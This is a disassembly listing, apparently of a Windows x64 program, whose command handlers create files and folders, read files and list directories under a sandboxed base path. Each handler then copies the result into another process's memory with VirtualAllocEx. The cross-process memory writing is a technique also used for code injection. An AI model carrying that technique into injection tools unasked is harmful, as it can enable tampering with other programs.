jne 0x14001c7c4
mov dword [rsp + 0x32c], 1
jmp 0x14001c7cf
mov dword [rsp + 0x32c], 0
movzx eax, byte [rsp + 0x32c]
mov byte [rsp + 0x99], al
lea rcx, [rsp + 0x2130]
call fcn.140010d00
movzx eax, byte [rsp + 0x99]
test eax, eax
je 0x14001c825
mov eax, dword [rsp + 0xc0]
inc eax
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 0x1f4
jle 0x14001c825
mov byte [rsp + 0x4c], 0
lea rcx, [0x140269d98]
call fcn.14000a170
movzx eax, byte [rsp + 0x4c]
test eax, eax
je 0x14001c8a7
mov edx, 1
lea rcx, [rsp + 0x2de0]
call fcn.14000f480
nop
mov r9d, 0x40
mov r8d, 0x32
lea rdx, [rsp + 0x3ad0]
lea rcx, [rsp + 0x2de0]
call fcn.140022910
lea rcx, [rsp + 0x2de0]
call fcn.1400208a0
movzx eax, al
test eax, eax
je 0x14001c899
lea rdx, [rsp + 0x1870]
lea rcx, [rsp + 0x2de0]
call fcn.140005df0
lea rcx, [rsp + 0x2de0]
call fcn.1400158a0
nop
lea rcx, [rsp + 0x2de0]
call fcn.140011f90
nop
lea rcx, [rsp + 0x1870]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x990]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1650]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, str.fapp
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001cf60
lea rcx, [rsp + 0x1668]
call fcn.14000fa60
nop
lea rcx, [rsp + 0x9b0]
call fcn.140004830
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1010], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1010]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001c9b6
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1018], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1018]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov rdx, rax
lea rcx, [rsp + 0x2770]
call fcn.1401cb270
mov qword [rsp + 0x1020], rax
mov rdx, qword [rsp + 0x1020]
lea rcx, [rsp + 0x9b0]
call fcn.1400080b0
lea rcx, [rsp + 0x2770]
call fcn.140004ac0
jmp 0x14001ca19
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1028], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1028]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x2790]
call fcn.1401cb270
mov qword [rsp + 0x1030], rax
mov rdx, qword [rsp + 0x1030]
lea rcx, [rsp + 0x9b0]
call fcn.1400080b0
lea rcx, [rsp + 0x2790]
call fcn.140004ac0
mov qword [rsp + 0x218], 1
jmp 0x14001ca3a
mov rax, qword [rsp + 0x218]
inc rax
mov qword [rsp + 0x218], rax
lea rcx, [rsp + 0x50]
call fcn.140024550
cmp qword [rsp + 0x218], rax
jae 0x14001ccb6
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1038], rax
mov rdx, qword [rsp + 0x218]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1038]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x660], rax
cmp qword [rsp + 0x660], 0
jne 0x14001caa3
jmp 0x14001ccb6
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1040], rax
mov rdx, qword [rsp + 0x218]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1040]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001cbd2
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1048], rax
mov rdx, qword [rsp + 0x218]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1048]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov r8, qword [rsp + 0x660]
mov rdx, rax
lea rcx, [rsp + 0x1a40]
call fcn.14000e660
nop
lea rax, [rsp + 0x1a40]
mov qword [rsp + 0x930], rax
mov rcx, qword [rsp + 0x930]
call fcn.1400068b0
mov qword [rsp + 0x3d8], rax
mov rcx, qword [rsp + 0x930]
call fcn.140008cd0
mov qword [rsp + 0x1050], rax
jmp 0x14001cb85
mov rax, qword [rsp + 0x3d8]
inc rax
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x1050]
cmp qword [rsp + 0x3d8], rax
je 0x14001cbc0
mov rax, qword [rsp + 0x3d8]
movzx eax, byte [rax]
mov byte [rsp + 0x9a], al
lea rdx, [rsp + 0x9a]
lea rcx, [rsp + 0x1668]
call fcn.1400232e0
jmp 0x14001cb72
lea rcx, [rsp + 0x1a40]
call fcn.140010e70
jmp 0x14001ccb1
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1058], rax
mov rdx, qword [rsp + 0x218]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1058]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x660]
mov rdx, rax
lea rcx, [rsp + 0x1a58]
call fcn.14000e660
nop
lea rax, [rsp + 0x1a58]
mov qword [rsp + 0x828], rax
mov rcx, qword [rsp + 0x828]
call fcn.1400068b0
mov qword [rsp + 0x3e0], rax
mov rcx, qword [rsp + 0x828]
call fcn.140008cd0
mov qword [rsp + 0x1060], rax
jmp 0x14001cc69
mov rax, qword [rsp + 0x3e0]
inc rax
mov qword [rsp + 0x3e0], rax
mov rax, qword [rsp + 0x1060]
cmp qword [rsp + 0x3e0], rax
je 0x14001cca4
mov rax, qword [rsp + 0x3e0]
movzx eax, byte [rax]
mov byte [rsp + 0x9b], al
lea rdx, [rsp + 0x9b]
lea rcx, [rsp + 0x1668]
call fcn.1400232e0
jmp 0x14001cc56
lea rcx, [rsp + 0x1a58]
call fcn.140010e70
jmp 0x14001ca27
lea rdx, [0x14025c4ce]
lea rcx, [rsp + 0x1b00]
call fcn.1400047d0
nop
lea rax, [rsp + 0x1668]
mov qword [rsp + 0x830], rax
mov rcx, qword [rsp + 0x830]
call fcn.1400068b0
mov qword [rsp + 0x3e8], rax
mov rcx, qword [rsp + 0x830]
call fcn.140008cd0
mov qword [rsp + 0x1068], rax
jmp 0x14001cd1a
mov rax, qword [rsp + 0x3e8]
inc rax
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0x1068]
cmp qword [rsp + 0x3e8], rax
je 0x14001cd55
mov rax, qword [rsp + 0x3e8]
movzx eax, byte [rax]
mov byte [rsp + 0x9c], al
movzx edx, byte [rsp + 0x9c]
lea rcx, [rsp + 0x1b00]
call fcn.140004c10
jmp 0x14001cd07
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rdx, rax
lea rcx, [rsp + 0x4100]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x80], 0
jmp 0x14001cd91
mov eax, dword [rsp + 0x80]
inc eax
mov dword [rsp + 0x80], eax
lea rcx, [rsp + 0x9b0]
call fcn.1400057c0
movsxd rcx, dword [rsp + 0x80]
cmp rcx, rax
jae 0x14001ce82
movsxd rax, dword [rsp + 0x80]
mov rdx, rax
lea rcx, [rsp + 0x9b0]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x3a
jne 0x14001cdd6
jmp 0x14001ce82
lea rcx, [rsp + 0x9b0]
call fcn.1400057c0
mov ecx, dword [rsp + 0x80]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14001ce39
movsxd rax, dword [rsp + 0x80]
mov rdx, rax
lea rcx, [rsp + 0x9b0]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001ce39
mov eax, dword [rsp + 0x80]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x9b0]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001ce39
jmp 0x14001ce82
movsxd rax, dword [rsp + 0x80]
mov rdx, rax
lea rcx, [rsp + 0x9b0]
call fcn.140004b70
movsx ax, byte [rax]
mov word [rsp + 0x328], ax
xor eax, eax
mov word [rsp + 0x32a], ax
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x4100]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14001cd81
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x590], eax
lea rcx, [rsp + 0x4100]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x590]
cmp eax, ecx
jle 0x14001cf32
mov edx, 1
lea rcx, [rsp + 0x2ef0]
call fcn.14000f480
nop
mov r9d, 0x40
mov r8d, 0x2a
lea rdx, [rsp + 0x4100]
lea rcx, [rsp + 0x2ef0]
call fcn.140022910
lea rcx, [rsp + 0x2ef0]
call fcn.1400208a0
movzx eax, al
test eax, eax
je 0x14001cf24
lea rdx, [rsp + 0x1b00]
lea rcx, [rsp + 0x2ef0]
call fcn.140005df0
lea rcx, [rsp + 0x2ef0]
call fcn.1400158a0
nop
lea rcx, [rsp + 0x2ef0]
call fcn.140011f90
nop
lea rcx, [rsp + 0x1b00]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x9b0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1668]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, str.mkfolder
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001d2e1
lea rcx, [rsp + 0x2288]
call fcn.14000fa60
nop
lea rcx, [rsp + 0x9d0]
call fcn.140004830
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1070], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1070]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001d041
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1078], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1078]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov rdx, rax
lea rcx, [rsp + 0x27b0]
call fcn.1401cb270
mov qword [rsp + 0x1080], rax
mov rdx, qword [rsp + 0x1080]
lea rcx, [rsp + 0x9d0]
call fcn.1400080b0
lea rcx, [rsp + 0x27b0]
call fcn.140004ac0
jmp 0x14001d0a4
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1088], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1088]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x27d0]
call fcn.1401cb270
mov qword [rsp + 0x1090], rax
mov rdx, qword [rsp + 0x1090]
lea rcx, [rsp + 0x9d0]
call fcn.1400080b0
lea rcx, [rsp + 0x27d0]
call fcn.140004ac0
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rdx, rax
lea rcx, [rsp + 0x3ce0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x84], 0
jmp 0x14001d0e0
mov eax, dword [rsp + 0x84]
inc eax
mov dword [rsp + 0x84], eax
lea rcx, [rsp + 0x9d0]
call fcn.1400057c0
movsxd rcx, dword [rsp + 0x84]
cmp rcx, rax
jae 0x14001d1d1
movsxd rax, dword [rsp + 0x84]
mov rdx, rax
lea rcx, [rsp + 0x9d0]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x3a
jne 0x14001d125
jmp 0x14001d1d1
lea rcx, [rsp + 0x9d0]
call fcn.1400057c0
mov ecx, dword [rsp + 0x84]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14001d188
movsxd rax, dword [rsp + 0x84]
mov rdx, rax
lea rcx, [rsp + 0x9d0]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001d188
mov eax, dword [rsp + 0x84]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x9d0]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001d188
jmp 0x14001d1d1
movsxd rax, dword [rsp + 0x84]
mov rdx, rax
lea rcx, [rsp + 0x9d0]
call fcn.140004b70
movsx ax, byte [rax]
mov word [rsp + 0x2fc], ax
xor eax, eax
mov word [rsp + 0x2fe], ax
lea rdx, [rsp + 0x2fc]
lea rcx, [rsp + 0x3ce0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14001d0d0
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x594], eax
lea rcx, [rsp + 0x3ce0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x594]
cmp eax, ecx
jle 0x14001d2c1
mov byte [rsp + 0x4d], 1
lea rdx, [rsp + 0x3ce0]
lea rcx, [rsp + 0x2150]
call fcn.140007ba0
nop
lea rcx, [rsp + 0x2150]
call fcn.140015fb0
movzx eax, al
test eax, eax
jne 0x14001d248
mov dword [rsp + 0x2f0], 1
jmp 0x14001d253
mov dword [rsp + 0x2f0], 0
movzx eax, byte [rsp + 0x2f0]
mov byte [rsp + 0x9d], al
lea rcx, [rsp + 0x2150]
call fcn.140010d00
movzx eax, byte [rsp + 0x9d]
test eax, eax
je 0x14001d2a9
mov eax, dword [rsp + 0xc0]
inc eax
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 0x1f4
jle 0x14001d2a9
mov byte [rsp + 0x4d], 0
lea rcx, str.Maximum_number_of_files_created_for_this_session._n
call fcn.14000a170
movzx eax, byte [rsp + 0x4d]
test eax, eax
je 0x14001d2c1
lea rcx, [rsp + 0x3ce0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wmkdir]
nop
lea rcx, [rsp + 0x9d0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2288]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, [0x1402690ec]
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001d92b
lea rcx, [rsp + 0x22a0]
call fcn.14000fa60
nop
lea rcx, [rsp + 0xa10]
call fcn.140004830
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1098], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1098]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001d3c2
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x10a0], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x10a0]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov rdx, rax
lea rcx, [rsp + 0x27f0]
call fcn.1401cb270
mov qword [rsp + 0x10a8], rax
mov rdx, qword [rsp + 0x10a8]
lea rcx, [rsp + 0xa10]
call fcn.1400080b0
lea rcx, [rsp + 0x27f0]
call fcn.140004ac0
jmp 0x14001d425
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x10b0], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x10b0]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x2810]
call fcn.1401cb270
mov qword [rsp + 0x10b8], rax
mov rdx, qword [rsp + 0x10b8]
lea rcx, [rsp + 0xa10]
call fcn.1400080b0
lea rcx, [rsp + 0x2810]
call fcn.140004ac0
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rdx, rax
lea rcx, [rsp + 0x34b0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x70], 0
jmp 0x14001d458
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
lea rcx, [rsp + 0xa10]
call fcn.1400057c0
movsxd rcx, dword [rsp + 0x70]
cmp rcx, rax
jae 0x14001d537
movsxd rax, dword [rsp + 0x70]
mov rdx, rax
lea rcx, [rsp + 0xa10]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x3a
jne 0x14001d497
jmp 0x14001d537
lea rcx, [rsp + 0xa10]
call fcn.1400057c0
mov ecx, dword [rsp + 0x70]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14001d4f1
movsxd rax, dword [rsp + 0x70]
mov rdx, rax
lea rcx, [rsp + 0xa10]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001d4f1
mov eax, dword [rsp + 0x70]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0xa10]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001d4f1
jmp 0x14001d537
movsxd rax, dword [rsp + 0x70]
mov rdx, rax
lea rcx, [rsp + 0xa10]
call fcn.140004b70
movsx ax, byte [rax]
mov word [rsp + 0x318], ax
xor eax, eax
mov word [rsp + 0x31a], ax
lea rdx, [rsp + 0x318]
lea rcx, [rsp + 0x34b0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14001d44e
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x700], eax
lea rcx, [rsp + 0x34b0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x700]
cmp eax, ecx
jle 0x14001d90b
lea rdx, [0x14025c4cf]
lea rcx, [rsp + 0x9f0]
call fcn.1400047d0
nop
xor edx, edx
lea rcx, [rsp + 0x34b0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__waccess_s]
test eax, eax
jne 0x14001d5d6
lea rdx, [rsp + 0x2b68]
lea rcx, [rsp + 0x34b0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wstat64]
movzx eax, word [rsp + 0x2b6e]
and eax, 0x4000
test eax, eax
je 0x14001d5d6
lea rdx, [0x140269e20]
lea rcx, [rsp + 0x9f0]
call fcn.1400081d0
lea rdx, str._ISFOLDER_
lea rcx, [rsp + 0x9f0]
call fcn.14000a920
movzx eax, al
test eax, eax
je 0x14001d6c6
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x21
lea rdx, [rsp + 0x34b0]
lea rcx, [rsp + 0x3060]
call fcn.14000f200
nop
lea rcx, [rsp + 0x3060]
call fcn.140020880
movzx eax, al
test eax, eax
je 0x14001d6a4
lea rdx, [rsp + 0x9e]
lea rcx, [rsp + 0x3060]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
mov qword [rsp + 0x838], rax
mov rax, qword [rsp + 0x838]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x838]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14001d695
movzx edx, byte [rsp + 0x9e]
lea rcx, [rsp + 0x9f0]
call fcn.1400056f0
jmp 0x14001d633
lea rcx, [rsp + 0x3060]
call fcn.140015840
jmp 0x14001d6b9
lea rdx, str._NOFILE_
lea rcx, [rsp + 0x9f0]
call fcn.1400081d0
nop
lea rcx, [rsp + 0x3060]
call fcn.140011f50
lea rcx, [rsp + 0x9f0]
call fcn.1400057c0
mov qword [rsp + 0x10c0], rax
mov rax, qword [0x140339930]
mov qword [rsp + 0x10c8], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x10c0]
xor edx, edx
mov rcx, qword [rsp + 0x10c8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x8d0], rax
lea rcx, [rsp + 0x9f0]
call fcn.1400057c0
mov qword [rsp + 0x10d0], rax
lea rcx, [rsp + 0x9f0]
call fcn.140008fe0
mov qword [rsp + 0x10d8], rax
mov r8, qword [rsp + 0x10d0]
mov rdx, qword [rsp + 0x10d8]
mov rcx, qword [rsp + 0x8d0]
call fcn.1400227e0
mov rax, qword [rsp + 0x8d0]
mov qword [rsp + 0x678], rax
mov qword [rsp + 0x1c28], 0
lea rcx, [rsp + 0x9f0]
call fcn.1400057c0
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x3f0], 0
jmp 0x14001d7c7
mov rax, qword [rsp + 0x3f0]
inc rax
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x290]
sub rax, 0x30000
mov qword [rsp + 0x290], rax
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp qword [rsp + 0x3f0], rax
jae 0x14001d8fd
cmp qword [rsp + 0x290], 0
jbe 0x14001d8fd
cmp qword [rsp + 0x290], 0x7fffffff
jae 0x14001d8fd
cmp qword [rsp + 0x290], 0x30000
jbe 0x14001d81f
mov qword [rsp + 0x848], 0x30000
jmp 0x14001d82f
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x848], rax
mov rax, qword [rsp + 0x848]
mov qword [rsp + 0x670], rax
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x10e0], rax
mov rdx, qword [rsp + 0x3f0]
lea rcx, [rsp + 0x140]
call fcn.1400117d0
mov rcx, qword [rsp + 0x10e0]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x668], rax
lea rdx, [rsp + 0x678]
mov rcx, qword [rsp + 0x668]
call fcn.14000ea00
mov rax, qword [rsp + 0x668]
add rax, 0x10
lea rdx, [rsp + 0x670]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x670]
or rax, 0x1f
mov qword [rsp + 0x10e8], rax
mov rax, qword [rsp + 0x668]
add rax, 0x18
lea rdx, [rsp + 0x10e8]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x670]
mov rcx, qword [rsp + 0x678]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x678], rax
jmp 0x14001d79e
lea rcx, [rsp + 0x9f0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0xa10]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x22a0]
call fcn.140010e70
jmp 0x14001f6f7
lea rdx, str.listfiles
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001e06a
lea rcx, [rsp + 0x2318]
call fcn.14000fa60
nop
lea rcx, [rsp + 0xa30]
call fcn.140004830
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x10f0], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10f0]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
je 0x14001da0c
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x10f8], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x10f8]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov rdx, rax
lea rcx, [rsp + 0x2830]
call fcn.1401cb270
mov qword [rsp + 0x1100], rax
mov rdx, qword [rsp + 0x1100]
lea rcx, [rsp + 0xa30]
call fcn.1400080b0
lea rcx, [rsp + 0x2830]
call fcn.140004ac0
jmp 0x14001da6f
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0x1108], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0x1108]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x2850]
call fcn.1401cb270
mov qword [rsp + 0x1110], rax
mov rdx, qword [rsp + 0x1110]
lea rcx, [rsp + 0xa30]
call fcn.1400080b0
lea rcx, [rsp + 0x2850]
call fcn.140004ac0
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rdx, rax
lea rcx, [rsp + 0x4310]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x78], 0
jmp 0x14001daa2
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
lea rcx, [rsp + 0xa30]
call fcn.1400057c0
movsxd rcx, dword [rsp + 0x78]
cmp rcx, rax
jae 0x14001db81
movsxd rax, dword [rsp + 0x78]
mov rdx, rax
lea rcx, [rsp + 0xa30]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x3a
jne 0x14001dae1
jmp 0x14001db81
lea rcx, [rsp + 0xa30]
call fcn.1400057c0
mov ecx, dword [rsp + 0x78]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14001db3b
movsxd rax, dword [rsp + 0x78]
mov rdx, rax
lea rcx, [rsp + 0xa30]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001db3b
mov eax, dword [rsp + 0x78]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0xa30]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0x2e
jne 0x14001db3b
jmp 0x14001db81
movsxd rax, dword [rsp + 0x78]
mov rdx, rax
lea rcx, [rsp + 0xa30]
call fcn.140004b70
movsx ax, byte [rax]
mov word [rsp + 0x308], ax
xor eax, eax
mov word [rsp + 0x30a], ax
lea rdx, [rsp + 0x308]
lea rcx, [rsp + 0x4310]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14001da98
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x6fc], eax
lea rcx, [rsp + 0x4310]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x6fc]
cmp eax, ecx
jl 0x14001e04a
lea rdx, [0x14025c522]
lea rcx, [rsp + 0x1590]
call fcn.1400047d0
nop
xor r8d, r8d
lea rdx, [rsp + 0x4310]
lea rcx, [rsp + 0x2170]
call fcn.14000a1e0
nop
lea rdx, [rsp + 0x2170]
lea rcx, [rsp + 0x16f0]
call fcn.140010190
nop
lea rax, [rsp + 0x16f0]
mov qword [rsp + 0x850], rax
lea rcx, [rsp + 0x2170]
call fcn.1400112c0
lea rax, [rsp + 0x2ad0]
mov qword [rsp + 0x1118], rax
mov rdx, qword [rsp + 0x850]
mov rcx, qword [rsp + 0x1118]
call fcn.140010150
mov qword [rsp + 0x1120], rax
mov rdx, qword [rsp + 0x1120]
lea rcx, [rsp + 0xac0]
call fcn.140015640
nop
lea rax, [rsp + 0x2ae0]
mov qword [rsp + 0x1128], rax
mov rdx, qword [rsp + 0x850]
mov rcx, qword [rsp + 0x1128]
call fcn.140010150
mov qword [rsp + 0x1130], rax
mov rdx, qword [rsp + 0x1130]
lea rcx, [rsp + 0x1780]
call fcn.140015d60
nop
jmp 0x14001dcb2
lea rcx, [rsp + 0xac0]
call fcn.1400118e0
lea rdx, [rsp + 0x1780]
lea rcx, [rsp + 0xac0]
call fcn.140011770
movzx eax, al
test eax, eax
je 0x14001dddc
lea rcx, [rsp + 0xac0]
call fcn.140011880
mov qword [rsp + 0x1138], rax
mov rcx, qword [rsp + 0x1138]
call fcn.140023070
mov qword [rsp + 0x1140], rax
lea rdx, [rsp + 0x1740]
mov rcx, qword [rsp + 0x1140]
call fcn.140024630
nop
mov rax, qword [rsp + 0x7840]
add rax, 0x3ac
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x304], eax
movsxd rax, dword [rsp + 0x304]
mov qword [rsp + 0x1148], rax
lea rcx, [rsp + 0x1740]
call fcn.1400057c0
mov rcx, qword [rsp + 0x1148]
sub rax, rcx
movsxd rcx, dword [rsp + 0x304]
mov r9, rax
mov r8, rcx
lea rdx, [rsp + 0x2870]
lea rcx, [rsp + 0x1740]
call fcn.140009f50
mov qword [rsp + 0x1150], rax
mov rdx, qword [rsp + 0x1150]
lea rcx, [rsp + 0x1740]
call fcn.1400080b0
lea rcx, [rsp + 0x2870]
call fcn.140004ac0
lea rdx, [rsp + 0x1740]
lea rcx, [rsp + 0x1590]
call fcn.1400083c0
mov dl, 0xa
lea rcx, [rsp + 0x1590]
call fcn.140004c10
nop
lea rcx, [rsp + 0x1740]
call fcn.140004ac0
jmp 0x14001dca5
lea rcx, [rsp + 0x1780]
call fcn.1400111e0
nop
lea rcx, [rsp + 0xac0]
call fcn.1400111e0
nop
lea rcx, [rsp + 0x16f0]
call fcn.1400111e0
lea rcx, [rsp + 0x1590]
call fcn.1400057c0
mov qword [rsp + 0x1158], rax
mov rax, qword [0x140339930]
mov qword [rsp + 0x1160], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x1158]
xor edx, edx
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x858], rax
